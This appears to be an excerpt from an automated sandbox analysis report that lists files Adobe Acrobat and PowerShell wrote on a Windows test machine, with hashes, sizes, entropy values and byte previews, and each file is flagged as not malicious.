Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7763180103702862
Encrypted:	false
SSDEEP:	48:7MPp/E2ioyVeioy9oWoy1Cwoy1KKOioy1noy1AYoy1Wioy1hioybioywoy1noy1f:74pjueF1XKQhxb9IVXEBodRBkx
MD5:	3208AAAD1BEC8008B4E00C7C8A170BB2
SHA1:	6CCC9C0A253A816DB30D34AB37D96839EF9D5BDE
SHA-256:	0C851622BDABFD090BFC31D792E4A4537954A9082A261CD04A61C567BD6EAFAA
SHA-512:	0EB0E6BCD8F8F9CBDC3F53F33CCEBA8C15E7D01CD0801C1E7C5685A4611997A9C0C0CAE5EDD4070CEA5C3A112F194B3DD3F0123254EA05266834B6DBDC7C5DDE
Malicious:	false
Preview:	.... .c.....`X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFklrC0NwbEttfllXlE/HT8k6KrXNNX8RolJuRdxLlGB9lQRYwpDdt:kKR00seT8mrdNMa8RdWBwRd
MD5:	E002D02FE178370ADAFF68C5C6D40517
SHA1:	4072810E4E9C6733207317C75D9BBE8787BFFFB1
SHA-256:	B82C06A00745117B69D53F24966C0B1598D973A1975F7AD38D95AC70D67E2827
SHA-512:	401D7C1E506FB27A37DDD838BA352CEBB2BA63A88968F4D66B40C4DDADA44BF84709E22E504061FCB6379F71034B9E39B62AAD04449A0874CFA211BAC8506CED
Malicious:	false
Preview:	p...... .........'...e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2360072131993585
Encrypted:	false
SSDEEP:	6:kKQlL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:+iDImsLNkPlE99SNxAhUe/3
MD5:	1CDB860B7C390F5EE6E49BFD6D1FF1A6
SHA1:	C865AFD7C1D0B5D9B885DAE3E06A843C8D6A85BC
SHA-256:	92F5BB61608B6B880C6858845DB991149EF9125D8ED55E5DA435F1B2595D593B
SHA-512:	8316F51A8566DFFDC9EB2E160BECCC55B0240B1D9D6C0CB796C20C353FA8592BC361DC59CA766786BCBF6F32B2FF5D40203D20CB1708B732B515B093EAB874BE
Malicious:	false
Preview:	p...... .........E...e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6484

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6484

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.06716659545038
Encrypted:	false
SSDEEP:	48:Y42sL0/EY0bMSlMtCM5mMOpiMAW0MretMSMmkaMY:mv/SYtt55V6AWLre6JmkhY
MD5:	A71F45180C26F583183C92FFB100D46E
SHA1:	8CE273C436B006C9975F474BCDA4AD2E5756DF61
SHA-256:	7536B6A6C4D9F9CFDDB1419149A508A105598F3BC06EA188E7BCF897FEB5D00A
SHA-512:	CCBB9B1A51AC0D17C3E840530EAAA035F0ABB0C25F8C8A8AA07028F6D8DE1F93A6F9AA8B4BC53228B7FB798048BFA4FE7260A36C42D020638A2872F1C7F92958
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736757129000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"23c88c8acf166d9fda5ae4d83df3db72","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696420889000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d5fa85f4cf271b5fa75367efd1b392fa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696420884000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"7c2ad79e375e3ea39f82a389e8a5841f","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696420882000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c3af48ba3dee086edbbf20dff46c7ee0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696333862000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7101e009d8bf8920d0a3dd3f5dc75ebc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696333862000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.189297548476778
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU5SvR9H9vxFGiDIAEkGVvpx:lNVmswUUUUUUUU5+FGSIt9
MD5:	F7E2F853BD8759455BB67B17A8297D51
SHA1:	626327A1CEE228E8F2AD569E1CCDE011A57C76CE
SHA-256:	361AC0020E6C2AEC6F1390CB2FCDC3415A6023BE6CE33E9BEB432FC39068887F
SHA-512:	2BE88B0828E87E3BDBF898A278CEEA0328CA26E1DE654C6CCD78D599F9D811E6D572DFECAA2411096451C1548DCE2051499EF3078385359F3922CEF493606782
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.608903969336888
Encrypted:	false
SSDEEP:	48:7M8tKUUUUUUUUUUxvR9H9vxFGiDIAEkGVvPqFl2GL7msM:77QUUUUUUUUUU1FGSIt9KVmsM
MD5:	8C5E7875DA66B4D388BE9771C92E4E57
SHA1:	6A24296401FE0061EE09BCEA379739D457E29283
SHA-256:	4594FB5AF8017B4339640C298C2D53F6A2201A915255741C44DE0858CE1CBEAD
SHA-512:	E37FEA5AEFACB84CC02F581876591D90F9BC04A5B2389485C566F2BBDC7D2739C0D9D84A657CABC2EB7F0E14FBB160FA3D06291435823A64B3849C118E2C9F9F
Malicious:	false
Preview:	.... .c........)......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdQhXGMfmfLeKKytCvCxgWAqfYyu:6a6TZ44ADEdQdGMfJybgWAWK
MD5:	068DB522629387620DD680D78AD28F92
SHA1:	D7DA1A9337A2E804D025645FFB09E174D244C4F4
SHA-256:	8F8BE09AD765E12D618F7D0D02DBFF8A8453578E2D53DE16E322BC03E22F871B
SHA-512:	4A72D1BAAD4E3A37838BD45A31FBB66BC3088B248434BA01846B6AC52D2EBA86A5AF88A430C82020E5EC52BCBA36FDFEA87D83FAE4838FE9663B6324696447A0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa7d1b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505069684106714
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl+UNUlu:Qw946cPbiOxDlbYnuRKTjhUGlu
MD5:	10FCB3A4EB0A3EA6B4E2ACE65DE913CD
SHA1:	C56E6FC0B94B9105209CD9C3B14B9925C282D8A4
SHA-256:	36BB43A289477E28200B65F06935E00BD3E9F838C02A6F4173015D3D93D38DC9
SHA-512:	085F4DFE45E0128F3BE5D4DC86E4C14EEE16EAFFA7228616B418BCDE4709CC6507457DA16C1F761FA1D5AF2D4A1CE01767D8F8FDA29B8650D2EFDB10ADAEBF27
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.3.:.3.2.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4qh2uyrj.ojf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5ngdldf.dwl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 03-32-08-621.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
